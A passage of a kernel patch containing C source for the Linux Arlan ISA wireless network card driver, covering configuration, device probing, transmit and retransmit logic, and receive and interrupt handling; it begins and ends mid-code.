priv->out_bytes10 += length; + if (conf->measure_rate < 1) + conf->measure_rate = 1; + if (jiffies - priv->out_time > conf->measure_rate * HZ) + { + conf->out_speed = priv->out_bytes / conf->measure_rate; + priv->out_bytes = 0; + priv->out_time = jiffies; + } + if (jiffies - priv->out_time10 > conf->measure_rate * HZ * 10) + { + conf->out_speed10 = priv->out_bytes10 / (10 * conf->measure_rate); + priv->out_bytes10 = 0; + priv->out_time10 = jiffies; + } + if (TXHEAD(dev).offset && TXTAIL(dev).offset) + { + netif_stop_queue (dev); + return 0; + } + else + netif_start_queue (dev); + + + IFDEBUG(ARLAN_DEBUG_HEADER_DUMP) + printk(KERN_WARNING "%s Transmit t %2x:%2x:%2x:%2x:%2x:%2x f %2x:%2x:%2x:%2x:%2x:%2x \n", dev->name, + (unsigned char) buf[0], (unsigned char) buf[1], (unsigned char) buf[2], (unsigned char) buf[3], + (unsigned char) buf[4], (unsigned char) buf[5], (unsigned char) buf[6], (unsigned char) buf[7], + (unsigned char) buf[8], (unsigned char) buf[9], (unsigned char) buf[10], (unsigned char) buf[11]); + + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk(KERN_ERR "TX command prepare for buffer %d\n", priv->txLast); + + arlan_command(dev, ARLAN_COMMAND_TX); + + priv->last_command_was_rx = 0; + priv->tx_last_sent = jiffies; + priv->nof_tx++; + + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk("%s TX Qued %d bytes \n", dev->name, length); + + ARLAN_DEBUG_EXIT("arlan_hw_tx"); + + return 0; +} + + +static int arlan_hw_config(struct net_device *dev) +{ + volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; + struct arlan_conf_stru *conf = ((struct arlan_private *) dev->priv)->Conf; + struct arlan_private *priv = (struct arlan_private *) dev->priv; + + ARLAN_DEBUG_ENTRY("arlan_hw_config"); + + printk(KERN_NOTICE "%s arlan configure called \n", dev->name); + if (arlan_EEPROM_bad) + printk(KERN_NOTICE "arlan configure with eeprom bad option \n"); + + + WRITESHM(arlan->spreadingCode, conf->spreadingCode, u_char); + WRITESHM(arlan->channelSet, conf->channelSet, u_char); + + if (arlan_EEPROM_bad) + WRITESHM(arlan->defaultChannelSet, conf->channelSet, u_char); + + WRITESHM(arlan->channelNumber, conf->channelNumber, u_char); + + WRITESHM(arlan->scramblingDisable, conf->scramblingDisable, u_char); + WRITESHM(arlan->txAttenuation, conf->txAttenuation, u_char); + + WRITESHM(arlan->systemId, conf->systemId, u_int); + + WRITESHM(arlan->maxRetries, conf->maxRetries, u_char); + WRITESHM(arlan->receiveMode, conf->receiveMode, u_char); + WRITESHM(arlan->priority, conf->priority, u_char); + WRITESHM(arlan->rootOrRepeater, conf->rootOrRepeater, u_char); + WRITESHM(arlan->SID, conf->SID, u_int); + + WRITESHM(arlan->registrationMode, conf->registrationMode, u_char); + + WRITESHM(arlan->registrationFill, conf->registrationFill, u_char); + WRITESHM(arlan->localTalkAddress, conf->localTalkAddress, u_char); + WRITESHM(arlan->codeFormat, conf->codeFormat, u_char); + WRITESHM(arlan->numChannels, conf->numChannels, u_char); + WRITESHM(arlan->channel1, conf->channel1, u_char); + WRITESHM(arlan->channel2, conf->channel2, u_char); + WRITESHM(arlan->channel3, conf->channel3, u_char); + WRITESHM(arlan->channel4, conf->channel4, u_char); + WRITESHM(arlan->radioNodeId, conf->radioNodeId, u_short); + WRITESHM(arlan->SID, conf->SID, u_int); + WRITESHM(arlan->waitTime, conf->waitTime, u_short); + WRITESHM(arlan->lParameter, conf->lParameter, u_short); + memcpy_toio(&(arlan->_15), &(conf->_15), 3); + WRITESHM(arlan->_15, conf->_15, u_short); + WRITESHM(arlan->headerSize, conf->headerSize, u_short); + if (arlan_EEPROM_bad) + WRITESHM(arlan->hardwareType, conf->hardwareType, u_char); + WRITESHM(arlan->radioType, conf->radioType, u_char); + if (arlan_EEPROM_bad) + WRITESHM(arlan->radioModule, conf->radioType, u_char); + + memcpy_toio(arlan->encryptionKey + keyStart, encryptionKey, 8); + memcpy_toio(arlan->name, conf->siteName, 16); + + WRITESHMB(arlan->commandByte, ARLAN_COM_INT | ARLAN_COM_CONF); /* do configure */ + memset_io(arlan->commandParameter, 0, 0xf); /* 0xf */ + memset_io(arlan->commandParameter + 1, 0, 2); + if (conf->writeEEPROM) + { + memset_io(arlan->commandParameter, conf->writeEEPROM, 1); +// conf->writeEEPROM=0; + } + if (conf->registrationMode && conf->registrationInterrupts) + memset_io(arlan->commandParameter + 3, 1, 1); + else + memset_io(arlan->commandParameter + 3, 0, 1); + + priv->irq_test_done = 0; + + if (conf->tx_queue_len) + dev->tx_queue_len = conf->tx_queue_len; + udelay(100); + + ARLAN_DEBUG_EXIT("arlan_hw_config"); + return 0; +} + + +static int arlan_read_card_configuration(struct net_device *dev) +{ + u_char tlx415; + volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; + struct arlan_conf_stru *conf = ((struct arlan_private *) dev->priv)->Conf; + + ARLAN_DEBUG_ENTRY("arlan_read_card_configuration"); + + if (radioNodeId == radioNodeIdUNKNOWN) + { + READSHM(conf->radioNodeId, arlan->radioNodeId, u_short); + } + else + conf->radioNodeId = radioNodeId; + + if (SID == SIDUNKNOWN) + { + READSHM(conf->SID, arlan->SID, u_int); + } + else conf->SID = SID; + + if (spreadingCode == spreadingCodeUNKNOWN) + { + READSHM(conf->spreadingCode, arlan->spreadingCode, u_char); + } + else + conf->spreadingCode = spreadingCode; + + if (channelSet == channelSetUNKNOWN) + { + READSHM(conf->channelSet, arlan->channelSet, u_char); + } + else conf->channelSet = channelSet; + + if (channelNumber == channelNumberUNKNOWN) + { + READSHM(conf->channelNumber, arlan->channelNumber, u_char); + } + else conf->channelNumber = channelNumber; + + READSHM(conf->scramblingDisable, arlan->scramblingDisable, u_char); + READSHM(conf->txAttenuation, arlan->txAttenuation, u_char); + + if (systemId == systemIdUNKNOWN) + { + READSHM(conf->systemId, arlan->systemId, u_int); + } + else conf->systemId = systemId; + + READSHM(conf->maxDatagramSize, arlan->maxDatagramSize, u_short); + READSHM(conf->maxFrameSize, arlan->maxFrameSize, u_short); + READSHM(conf->maxRetries, arlan->maxRetries, u_char); + READSHM(conf->receiveMode, arlan->receiveMode, u_char); + READSHM(conf->priority, arlan->priority, u_char); + READSHM(conf->rootOrRepeater, arlan->rootOrRepeater, u_char); + + if (SID == SIDUNKNOWN) + { + READSHM(conf->SID, arlan->SID, u_int); + } + else conf->SID = SID; + + if (registrationMode == registrationModeUNKNOWN) + { + READSHM(conf->registrationMode, arlan->registrationMode, u_char); + } + else conf->registrationMode = registrationMode; + + READSHM(conf->registrationFill, arlan->registrationFill, u_char); + READSHM(conf->localTalkAddress, arlan->localTalkAddress, u_char); + READSHM(conf->codeFormat, arlan->codeFormat, u_char); + READSHM(conf->numChannels, arlan->numChannels, u_char); + READSHM(conf->channel1, arlan->channel1, u_char); + READSHM(conf->channel2, arlan->channel2, u_char); + READSHM(conf->channel3, arlan->channel3, u_char); + READSHM(conf->channel4, arlan->channel4, u_char); + READSHM(conf->waitTime, arlan->waitTime, u_short); + READSHM(conf->lParameter, arlan->lParameter, u_short); + READSHM(conf->_15, arlan->_15, u_short); + READSHM(conf->headerSize, arlan->headerSize, u_short); + READSHM(conf->hardwareType, arlan->hardwareType, u_char); + READSHM(conf->radioType, arlan->radioModule, u_char); + + if (conf->radioType == 0) + conf->radioType = 0xc; + + WRITESHM(arlan->configStatus, 0xA5, u_char); + READSHM(tlx415, arlan->configStatus, u_char); + + if (tlx415 != 0xA5) + printk(KERN_INFO "%s tlx415 chip \n", dev->name); + + conf->txClear = 0; + conf->txRetries = 1; + conf->txRouting = 1; + conf->txScrambled = 0; + conf->rxParameter = 1; + conf->txTimeoutMs = 4000; + conf->waitCardTimeout = 100000; + conf->receiveMode = ARLAN_RCV_CLEAN; + memcpy_fromio(conf->siteName, arlan->name, 16); + conf->siteName[16] = '\0'; + conf->retries = retries; + conf->tx_delay_ms = tx_delay_ms; + conf->async = async; + conf->ReTransmitPacketMaxSize = 200; + conf->waitReTransmitPacketMaxSize = 200; + conf->txAckTimeoutMs = 900; + conf->fastReTransCount = 3; + + ARLAN_DEBUG_EXIT("arlan_read_card_configuration"); + + return 0; +} + + +static int lastFoundAt = 0xbe000; + + +/* + * This is the real probe routine. Linux has a history of friendly device + * probes on the ISA bus. A good device probes avoids doing writes, and + * verifies that the correct device exists and functions. + */ + +static int __init arlan_check_fingerprint(int memaddr) +{ + static char probeText[] = "TELESYSTEM SLW INC. ARLAN \0"; + char tempBuf[49]; + volatile struct arlan_shmem *arlan = (struct arlan_shmem *) memaddr; + + ARLAN_DEBUG_ENTRY("arlan_check_fingerprint"); + if (check_mem_region(virt_to_phys((void *)memaddr),0x2000 )){ + // printk(KERN_WARNING "arlan: memory region %lx excluded from probing \n",virt_to_phys((void*)memaddr)); + return -ENODEV; + }; + memcpy_fromio(tempBuf, arlan->textRegion, 29); + tempBuf[30] = 0; + + /* check for card at this address */ + if (0 != strncmp(tempBuf, probeText, 29)){ +// not release_mem_region(virt_to_phys((void*)memaddr),0x2000); + return -ENODEV; + } + +// printk(KERN_INFO "arlan found at 0x%x \n",memaddr); + ARLAN_DEBUG_EXIT("arlan_check_fingerprint"); + + return 0; + + +} + +static int __init arlan_probe_everywhere(struct net_device *dev) +{ + int m; + int probed = 0; + int found = 0; + + SET_MODULE_OWNER(dev); + + ARLAN_DEBUG_ENTRY("arlan_probe_everywhere"); + if (mem != 0 && numDevices == 1) /* Check a single specified location. */ + { + if (arlan_probe_here(dev, (int) phys_to_virt( mem) ) == 0) + return 0; + else + return -ENODEV; + } + for (m = (int)phys_to_virt(lastFoundAt) + 0x2000; m <= (int)phys_to_virt(0xDE000); m += 0x2000) + { + if (arlan_probe_here(dev, m) == 0) + { + found++; + lastFoundAt = (int)virt_to_phys((void*)m); + break; + } + probed++; + } + if (found == 0 && probed != 0) + { + if (lastFoundAt == 0xbe000) + printk(KERN_ERR "arlan: No Arlan devices found \n"); + return -ENODEV; + } + else + return 0; + + ARLAN_DEBUG_EXIT("arlan_probe_everywhere"); + + return -ENODEV; +} + + +static int arlan_change_mtu(struct net_device *dev, int new_mtu) +{ + struct arlan_conf_stru *conf = ((struct arlan_private *) dev->priv)->Conf; + + ARLAN_DEBUG_ENTRY("arlan_change_mtu"); + if (new_mtu > 2032) + return -EINVAL; + dev->mtu = new_mtu; + if (new_mtu < 256) + new_mtu = 256; /* cards book suggests 1600 */ + conf->maxDatagramSize = new_mtu; + conf->maxFrameSize = new_mtu + 48; + + arlan_command(dev, ARLAN_COMMAND_CLEAN_AND_CONF); + printk(KERN_NOTICE "%s mtu changed to %d \n", dev->name, new_mtu); + + ARLAN_DEBUG_EXIT("arlan_change_mtu"); + + return 0; +} + +static int arlan_mac_addr(struct net_device *dev, void *p) +{ + struct sockaddr *addr = p; + + + ARLAN_DEBUG_ENTRY("arlan_mac_addr"); + return -EINVAL; + + if (!netif_running(dev)) + return -EBUSY; + memcpy(dev->dev_addr, addr->sa_data, dev->addr_len); + + ARLAN_DEBUG_EXIT("arlan_mac_addr"); + return 0; +} + + + + +static int __init + arlan_allocate_device(int num, struct net_device *devs) +{ + + struct net_device *dev; + struct arlan_private *ap; + + ARLAN_DEBUG_ENTRY("arlan_allocate_device"); + + if (!devs) { + dev = init_etherdev(0, sizeof(struct arlan_private) + sizeof(struct arlan_shmem)); + if (!dev) { + printk(KERN_ERR "ARLAN: init_etherdev failed\n"); + return 0; + } + ap = dev->priv; + ap->conf = dev->priv + sizeof(struct arlan_private); + ap->init_etherdev_alloc = 1; + } else { + dev = devs; + dev->priv = kmalloc(sizeof(struct arlan_private) + sizeof(struct arlan_shmem), GFP_KERNEL); + if (!dev->priv) { + printk(KERN_ERR "ARLAN: kmalloc of dev->priv failed\n"); + return 0; + } + ap = dev->priv; + ap->conf = dev->priv + sizeof(struct arlan_private); + memset(ap, 0, sizeof(*ap)); + } + + /* Fill in the 'dev' fields. */ + dev->base_addr = 0; + dev->mem_start = 0; + dev->mem_end = 0; + dev->mtu = 1500; + dev->flags = 0; /* IFF_BROADCAST & IFF_MULTICAST & IFF_PROMISC; */ + dev->irq = 0; + dev->dma = 0; + dev->tx_queue_len = tx_queue_len; + ether_setup(dev); + dev->tx_queue_len = tx_queue_len; + dev->open = arlan_open; + dev->stop = arlan_close; + dev->hard_start_xmit = arlan_tx; + dev->get_stats = arlan_statistics; + dev->set_multicast_list = arlan_set_multicast; + dev->change_mtu = arlan_change_mtu; + dev->set_mac_address = arlan_mac_addr; + dev->tx_timeout = arlan_tx_timeout; + dev->watchdog_timeo = 3*HZ; + + ((struct arlan_private *) dev->priv)->irq_test_done = 0; + arlan_device[num] = dev; + ((struct arlan_private *) arlan_device[num]->priv)->Conf = &(arlan_conf[num]); + + ((struct arlan_private *) dev->priv)->Conf->pre_Command_Wait = 40; + ((struct arlan_private *) dev->priv)->Conf->rx_tweak1 = 30; + ((struct arlan_private *) dev->priv)->Conf->rx_tweak2 = 0; + + ARLAN_DEBUG_EXIT("arlan_allocate_device"); + return (int) dev; +} + + +static int __init arlan_probe_here(struct net_device *dev, int memaddr) +{ + volatile struct arlan_shmem *arlan; + + ARLAN_DEBUG_ENTRY("arlan_probe_here"); + + if (arlan_check_fingerprint(memaddr)) + return -ENODEV; + + printk(KERN_NOTICE "%s: Arlan found at %x, \n ", dev->name, (int) virt_to_phys((void*)memaddr)); + + if (!arlan_allocate_device(arlans_found, dev)) + return -1; + + ((struct arlan_private *) dev->priv)->card = (struct arlan_shmem *) memaddr; + arlan = (void *) memaddr; + + dev->mem_start = memaddr; + dev->mem_end = memaddr + 0x1FFF; + + if (dev->irq < 2) + { + READSHM(dev->irq, arlan->irqLevel, u_char); + } else if (dev->irq == 2) + dev->irq = 9; + + arlan_read_card_configuration(dev); + + ARLAN_DEBUG_EXIT("arlan_probe_here"); + return 0; +} + + + + +static int arlan_open(struct net_device *dev) +{ + struct arlan_private *priv = (struct arlan_private *) dev->priv; + volatile struct arlan_shmem *arlan = priv->card; + int ret = 0; + + ARLAN_DEBUG_ENTRY("arlan_open"); + + if (dev->mem_start == 0) + ret = arlan_probe_everywhere(dev); + if (ret != 0) + return ret; + + arlan = ((struct arlan_private *) dev->priv)->card; + ret = request_irq(dev->irq, &arlan_interrupt, 0, dev->name, dev); + if (ret) + { + printk(KERN_ERR "%s: unable to get IRQ %d .\n", + dev->name, dev->irq); + return ret; + } + + + priv->bad = 0; + priv->lastReset = 0; + priv->reset = 0; + priv->open_time = jiffies; + memcpy_fromio(dev->dev_addr, arlan->lanCardNodeId, 6); + memset(dev->broadcast, 0xff, 6); + priv->txOffset = 0; + dev->tx_queue_len = tx_queue_len; + priv->interrupt_processing_active = 0; + priv->command_lock = 0; + + netif_start_queue (dev); + + init_MUTEX(&priv->card_lock); + myATOMIC_INIT(priv->card_users, 1); /* damn 2.0.33 */ + priv->registrationLostCount = 0; + priv->registrationLastSeen = jiffies; + priv->txLast = 0; + priv->tx_command_given = 0; + priv->rx_command_given = 0; + + priv->reRegisterExp = 1; + priv->nof_tx = 0; + priv->nof_tx_ack = 0; + priv->last_command_was_rx = 0; + priv->tx_last_sent = jiffies - 1; + priv->tx_last_cleared = jiffies; + priv->Conf->writeEEPROM = 0; + priv->Conf->registrationInterrupts = 1; + + init_timer(&priv->timer); + priv->timer.expires = jiffies + HZ / 10; + priv->timer.data = (unsigned long) dev; + priv->timer.function = &arlan_registration_timer; /* timer handler */ + + arlan_command(dev, ARLAN_COMMAND_POWERUP | ARLAN_COMMAND_LONG_WAIT_NOW); + mdelay(200); + add_timer(&priv->timer); + + ARLAN_DEBUG_EXIT("arlan_open"); + return 0; +} + + +static void arlan_tx_timeout (struct net_device *dev) +{ + printk(KERN_ERR "%s: arlan transmit timed out, kernel decided\n", dev->name); + /* Try to restart the adaptor. */ + arlan_command(dev, ARLAN_COMMAND_CLEAN_AND_RESET); + // dev->trans_start = jiffies; + // netif_start_queue (dev); +} + + +static int arlan_tx(struct sk_buff *skb, struct net_device *dev) +{ + struct arlan_private *priv = ((struct arlan_private *) dev->priv); + short length; + unsigned char *buf; + + ARLAN_DEBUG_ENTRY("arlan_tx"); + + length = ETH_ZLEN < skb->len ? skb->len : ETH_ZLEN; + buf = skb->data; + + if (priv->txOffset + length + 0x12 > 0x800) { + printk(KERN_ERR "TX RING overflow \n"); + netif_stop_queue (dev); + } + + if (arlan_hw_tx(dev, buf, length) == -1) + goto bad_end; + + dev->trans_start = jiffies; + + dev_kfree_skb(skb); + + arlan_process_interrupt(dev); + priv->tx_chain_active = 0; + ARLAN_DEBUG_EXIT("arlan_tx"); + return 0; + +bad_end: + arlan_process_interrupt(dev); + priv->tx_chain_active = 0; + netif_stop_queue (dev); + ARLAN_DEBUG_EXIT("arlan_tx"); + return 1; +} + + +static inline int DoNotReTransmitCrap(struct net_device *dev) +{ + struct arlan_private *priv = ((struct arlan_private *) dev->priv); + + if (TXLAST(dev).length < priv->Conf->ReTransmitPacketMaxSize) + return 1; + return 0; + +} + +static inline int DoNotWaitReTransmitCrap(struct net_device *dev) +{ + struct arlan_private *priv = ((struct arlan_private *) dev->priv); + + if (TXLAST(dev).length < priv->Conf->waitReTransmitPacketMaxSize) + return 1; + return 0; +} + +static inline void arlan_queue_retransmit(struct net_device *dev) +{ + struct arlan_private *priv = ((struct arlan_private *) dev->priv); + + ARLAN_DEBUG_ENTRY("arlan_queue_retransmit"); + + if (DoNotWaitReTransmitCrap(dev)) + { + arlan_drop_tx(dev); + } else + priv->ReTransmitRequested++; + + ARLAN_DEBUG_EXIT("arlan_queue_retransmit"); +}; + +static inline void RetryOrFail(struct net_device *dev) +{ + struct arlan_private *priv = ((struct arlan_private *) dev->priv); + + ARLAN_DEBUG_ENTRY("RetryOrFail"); + + if (priv->retransmissions > priv->Conf->retries || + DoNotReTransmitCrap(dev)) + { + arlan_drop_tx(dev); + } + else if (priv->bad <= priv->Conf->fastReTransCount) + { + arlan_retransmit_now(dev); + } + else arlan_queue_retransmit(dev); + + ARLAN_DEBUG_EXIT("RetryOrFail"); +} + + +static void arlan_tx_done_interrupt(struct net_device *dev, int status) +{ + struct arlan_private *priv = ((struct arlan_private *) dev->priv); + + ARLAN_DEBUG_ENTRY("arlan_tx_done_interrupt"); + + priv->tx_last_cleared = jiffies; + priv->tx_command_given = 0; + priv->nof_tx_ack++; + switch (status) + { + case 1: + { + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) + printk("arlan intr: transmit OK\n"); + priv->stats.tx_packets++; + priv->bad = 0; + priv->reset = 0; + priv->retransmissions = 0; + if (priv->Conf->tx_delay_ms) + { + priv->tx_done_delayed = jiffies + (priv->Conf->tx_delay_ms * HZ) / 1000 + 1;; + } + else + { + TXLAST(dev).offset = 0; + if (priv->txLast) + priv->txLast = 0; + else if (TXTAIL(dev).offset) + priv->txLast = 1; + if (TXLAST(dev).offset) + { + arlan_retransmit_now(dev); + dev->trans_start = jiffies; + } + if (!TXHEAD(dev).offset || !TXTAIL(dev).offset) + { + priv->txOffset = 0; + netif_wake_queue (dev); + } + } + } + break; + + case 2: + { + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) + printk("arlan intr: transmit timed out\n"); + priv->bad += 1; + //arlan_queue_retransmit(dev); + RetryOrFail(dev); + } + break; + + case 3: + { + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) + printk("arlan intr: transmit max retries\n"); + priv->bad += 1; + priv->reset = 0; + //arlan_queue_retransmit(dev); + RetryOrFail(dev); + } + break; + + case 4: + { + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) + printk("arlan intr: transmit aborted\n"); + priv->bad += 1; + arlan_queue_retransmit(dev); + //RetryOrFail(dev); + } + break; + + case 5: + { + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) + printk("arlan intr: transmit not registered\n"); + priv->bad += 1; + //debug=101; + arlan_queue_retransmit(dev); + } + break; + + case 6: + { + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) + printk("arlan intr: transmit destination full\n"); + priv->bad += 1; + priv->reset = 0; + //arlan_drop_tx(dev); + arlan_queue_retransmit(dev); + } + break; + + case 7: + { + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) + printk("arlan intr: transmit unknown ack\n"); + priv->bad += 1; + priv->reset = 0; + arlan_queue_retransmit(dev); + } + break; + + case 8: + { + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) + printk("arlan intr: transmit dest mail box full\n"); + priv->bad += 1; + priv->reset = 0; + //arlan_drop_tx(dev); + arlan_queue_retransmit(dev); + } + break; + + case 9: + { + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) + printk("arlan intr: transmit root dest not reg.\n"); + priv->bad += 1; + priv->reset = 1; + //arlan_drop_tx(dev); + arlan_queue_retransmit(dev); + } + break; + + default: + { + printk(KERN_ERR "arlan intr: transmit status unknown\n"); + priv->bad += 1; + priv->reset = 1; + arlan_drop_tx(dev); + } + } + + ARLAN_DEBUG_EXIT("arlan_tx_done_interrupt"); +} + + +static void arlan_rx_interrupt(struct net_device *dev, u_char rxStatus, u_short rxOffset, u_short pkt_len) +{ + char *skbtmp; + int i = 0; + + struct arlan_private *priv = (struct arlan_private *) dev->priv; + volatile struct arlan_shmem *arlan = priv->card; + struct arlan_conf_stru *conf = priv->Conf; + + + ARLAN_DEBUG_ENTRY("arlan_rx_interrupt"); + // by spec, not WRITESHMB(arlan->rxStatus,0x00); + // prohibited here arlan_command(dev, ARLAN_COMMAND_RX); + + if (pkt_len < 10 || pkt_len > 2048) + { + printk(KERN_WARNING "%s: got too short or long packet, len %d \n", dev->name, pkt_len); + return; + } + if (rxOffset + pkt_len > 0x2000) + { + printk("%s: got too long packet, len %d offset %x\n", dev->name, pkt_len, rxOffset); + return; + } + priv->in_bytes += pkt_len; + priv->in_bytes10 += pkt_len; + if (conf->measure_rate < 1) + conf->measure_rate = 1; + if (jiffies - priv->in_time > conf->measure_rate * HZ) + { + conf->in_speed = priv->in_bytes / conf->measure_rate; + priv->in_bytes = 0; + priv->in_time = jiffies; + } + if (jiffies - priv->in_time10 > conf->measure_rate * HZ * 10) + { + conf->in_speed10 = priv->in_bytes10 / (10 * conf->measure_rate); + priv->in_bytes10 = 0; + priv->in_time10 = jiffies; + } + DEBUGSHM(1, "arlan rcv pkt rxStatus= %d ", arlan->rxStatus, u_char); + switch (rxStatus) + { + case 1: + case 2: + case 3: + { + /* Malloc up new buffer. */ + struct sk_buff *skb; + + DEBUGSHM(50, "arlan recv pkt offs=%d\n", arlan->rxOffset, u_short); + DEBUGSHM(1, "arlan rxFrmType = %d \n", arlan->rxFrmType, u_char); + DEBUGSHM(1, KERN_INFO "arlan rx scrambled = %d \n", arlan->scrambled, u_char); + + /* here we do multicast filtering to avoid slow 8-bit memcopy */ +#ifdef ARLAN_MULTICAST + if (!(dev->flags & IFF_ALLMULTI) && + !(dev->flags & IFF_PROMISC) && + dev->mc_list) + { + char hw_dst_addr[6]; + struct dev_mc_list *dmi = dev->mc_list; + int i; + + memcpy_fromio(hw_dst_addr, arlan->ultimateDestAddress, 6); + if (hw_dst_addr[0] == 0x01) + { + if (mdebug) + if (hw_dst_addr[1] == 0x00) + printk(KERN_ERR "%s mcast 0x0100 \n", dev->name); + else if (hw_dst_addr[1] == 0x40) + printk(KERN_ERR "%s m/bcast 0x0140 \n", dev->name); + while (dmi) + { if (dmi->dmi_addrlen == 6) + { + if (arlan_debug & ARLAN_DEBUG_HEADER_DUMP) + printk(KERN_ERR "%s mcl %2x:%2x:%2x:%2x:%2x:%2x \n", dev->name, + dmi->dmi_addr[0], dmi->dmi_addr[1], dmi->dmi_addr[2], + dmi->dmi_addr[3], dmi->dmi_addr[4], dmi->dmi_addr[5]); + for (i = 0; i < 6; i++) + if (dmi->dmi_addr[i] != hw_dst_addr[i]) + break; + if (i == 6) + break; + } + else + printk(KERN_ERR "%s: invalid multicast address length given.\n", dev->name); + dmi = dmi->next; + } + /* we reach here if multicast filtering is on and packet + * is multicast and not for receive */ + goto end_of_interrupt; + } + } +#endif // ARLAN_MULTICAST + /* multicast filtering ends here */ + pkt_len += ARLAN_FAKE_HDR_LEN; + + skb = dev_alloc_skb(pkt_len + 4); + if (skb == NULL) + { + printk(KERN_ERR "%s: Memory squeeze, dropping packet.\n", dev->name); + priv->stats.rx_dropped++; + break; + } + skb_reserve(skb, 2); + skb->dev = dev; + skbtmp = skb_put(skb, pkt_len); + + memcpy_fromio(skbtmp + ARLAN_FAKE_HDR_LEN, ((char *) arlan) + rxOffset, pkt_len - ARLAN_FAKE_HDR_LEN); + memcpy_fromio(skbtmp, arlan->ultimateDestAddress, 6); + memcpy_fromio(skbtmp + 6, arlan->rxSrc, 6); + WRITESHMB(arlan->rxStatus, 0x00); + arlan_command(dev, ARLAN_COMMAND_RX); + + IFDEBUG(ARLAN_DEBUG_HEADER_DUMP) + { + char immedDestAddress[6]; + char immedSrcAddress[6]; + memcpy_fromio(immedDestAddress, arlan->immedDestAddress, 6); + memcpy_fromio(immedSrcAddress, arlan->immedSrcAddress, 6); + + printk(KERN_WARNING "%s t %2x:%2x:%2x:%2x:%2x:%2x f %2x:%2x:%2x:%2x:%2x:%2x imd %2x:%2x:%2x:%2x:%2x:%2x ims %2x:%2x:%2x:%2x:%2x:%2x\n", dev->name, + (unsigned char) skbtmp[0], (unsigned char) skbtmp[1], (unsigned char) skbtmp[2], (unsigned char) skbtmp[3], + (unsigned char) skbtmp[4], (unsigned char) skbtmp[5], (unsigned char) skbtmp[6], (unsigned char) skbtmp[7], + (unsigned char) skbtmp[8], (unsigned char) skbtmp[9], (unsigned char) skbtmp[10], (unsigned char) skbtmp[11], + immedDestAddress[0], immedDestAddress[1], immedDestAddress[2], + immedDestAddress[3], immedDestAddress[4], immedDestAddress[5], + immedSrcAddress[0], immedSrcAddress[1], immedSrcAddress[2], + immedSrcAddress[3], immedSrcAddress[4], immedSrcAddress[5]); + } + skb->protocol = eth_type_trans(skb, dev); + IFDEBUG(ARLAN_DEBUG_HEADER_DUMP) + if (skb->protocol != 0x608 && skb->protocol != 0x8) + { + for (i = 0; i <= 22; i++) + printk("%02x:", (u_char) skbtmp[i + 12]); + printk(KERN_ERR "\n"); + printk(KERN_WARNING "arlan kernel pkt type trans %x \n", skb->protocol); + } + netif_rx(skb); + dev->last_rx = jiffies; + priv->stats.rx_packets++; + priv->stats.rx_bytes += pkt_len; + } + break; + + default: + printk(KERN_ERR "arlan intr: received unknown status\n"); + priv->stats.rx_crc_errors++; + break; + } + ARLAN_DEBUG_EXIT("arlan_rx_interrupt"); +} + +static void arlan_process_interrupt(struct net_device *dev) +{ + struct arlan_private *priv = (struct arlan_private *) dev->priv; + volatile struct arlan_shmem *arlan = priv->card; + u_char rxStatus = READSHMB(arlan->rxStatus); + u_char txStatus = READSHMB(arlan->txStatus); + u_short rxOffset = READSHMS(arlan->rxOffset); + u_short pkt_len = READSHMS(arlan->rxLength); + int interrupt_count = 0; + + ARLAN_DEBUG_ENTRY("arlan_process_interrupt"); + + if (test_and_set_bit(0, (void *) &priv->interrupt_processing_active)) + { + if (arlan_debug & ARLAN_DEBUG_CHAIN_LOCKS) + printk(KERN_ERR "interrupt chain reentering \n"); + goto end_int_process; + } + while ((rxStatus || txStatus || priv->interrupt_ack_requested) + && (interrupt_count < 5)) + { + if (rxStatus) + priv->last_rx_int_ack_time = arlan_time(); + + arlan_command(dev, ARLAN_COMMAND_INT_ACK); + arlan_command(dev, ARLAN_COMMAND_INT_ENABLE); + + IFDEBUG(ARLAN_DEBUG_INTERRUPT) + printk(KERN_ERR "%s: got IRQ rx %x tx %x comm %x rxOff %x rxLen %x \n", + dev->name, rxStatus, txStatus, READSHMB(arlan->commandByte), + rxOffset, pkt_len); + + if (rxStatus == 0 && txStatus == 0) + { + priv->last_command_was_rx = 0; + if (priv->irq_test_done) + { + if (!registrationBad(dev)) + IFDEBUG(ARLAN_DEBUG_INTERRUPT) printk(KERN_ERR "%s unknown interrupt(nop? regLost ?) reason tx %d rx %d ", + dev->name, txStatus, rxStatus); + } else { + IFDEBUG(ARLAN_DEBUG_INTERRUPT) + printk(KERN_INFO "%s irq $%d test OK \n", dev->name, dev->irq); + + } + priv->interrupt_ack_requested = 0; + goto ends; + } + if (txStatus != 0) + { + WRITESHMB(arlan->txStatus, 0x00); + arlan_tx_done_interrupt(dev, txStatus); + goto ends; + } + if (rxStatus == 1 || rxStatus == 2) + { /* a packet waiting */ + arlan_rx_interrupt(dev, rxStatus, rxOffset, pkt_len); + goto ends; + } + if (rxStatus > 2 && rxStatus < 0xff) + { + priv->last_command_was_rx = 0; + WRITESHMB(arlan->rxStatus, 0x00); + printk(KERN_ERR "%s unknown rxStatus reason tx %d rx %d ", + dev->name, txStatus, rxStatus); + goto ends; + } + if (rxStatus == 0xff) + { + priv->last_command_was_rx = 0; + WRITESHMB(arlan->rxStatus, 0x00); + arlan_command(dev, ARLAN_COMMAND_RX); + if (registrationBad(dev)) + netif_device_detach(dev); + if (!registrationBad(dev)) + { + priv->registrationLastSeen = jiffies; + if (!netif_queue_stopped(dev) && !priv->under_reset && !priv->under_config) + netif_wake_queue (dev); + } + goto ends; + } +ends: + + arlan_command_process(dev); + + rxStatus = READSHMB(arlan->rxStatus); + txStatus = READSHMB(arlan->txStatus); + rxOffset = READSHMS(arlan->rxOffset); + pkt_len = READSHMS(arlan->rxLength); + + + priv->irq_test_done = 1; + + interrupt_count++; + } + priv->interrupt_processing_active = 0; + +end_int_process: + arlan_command_process(dev); + + ARLAN_DEBUG_EXIT("arlan_process_interrupt"); + return; +} + +static irqreturn_t arlan_interrupt(int irq, void *dev_id, struct 